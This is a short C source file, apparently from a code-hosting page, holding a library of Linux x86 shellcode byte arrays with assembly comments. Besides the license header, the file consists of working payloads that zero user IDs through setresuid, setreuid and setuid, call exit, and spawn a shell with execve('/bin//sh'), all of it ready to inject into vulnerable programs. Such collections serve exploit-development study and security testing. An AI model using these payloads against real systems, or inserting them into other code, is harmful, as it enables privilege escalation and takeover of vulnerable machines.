65 lines
3.1 KiB
C
65 lines
3.1 KiB
C
/*
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* lin-x86-shellcode.c
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* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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char setresuidcode[]= /* 10 bytes */
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"\x31\xc9" /* xorl %ecx,%ecx */
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"\x31\xdb" /* xorl %ebx,%ebx */
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"\xf7\xe3" /* mull %ebx */
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"\xb0\xa4" /* movb $0xa4,%al */
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"\xcd\x80" /* int $0x80 */
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;
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char setreuidcode[]= /* 9 bytes */
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"\x31\xc9" /* xorl %ecx,%ecx */
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"\x31\xdb" /* xorl %ebx,%ebx */
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"\x6a\x46" /* pushl $0x46 */
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"\x58" /* popl %eax */
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"\xcd\x80" /* int $0x80 */
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;
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char setuidcode[]= /* 7 bytes */
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"\x31\xdb" /* xorl %ebx,%ebx */
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"\x6a\x17" /* pushl $0x17 */
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"\x58" /* popl %eax */
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"\xcd\x80" /* int $0x80 */
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;
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char exitcode[]= /* 7 bytes */
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"\x31\xdb" /* xorl %ebx,%ebx */
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"\x6a\x01" /* pushl $0x01 */
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"\x58" /* popl %eax */
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"\xcd\x80" /* int $0x80 */
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;
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char shellcode[]= /* 24 bytes */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
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"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x89\xe1" /* movl %esp,%ecx */
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"\x99" /* cltd */
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"\xb0\x0b" /* movb $0x0b,%al */
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"\xcd\x80" /* int $0x80 */
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;
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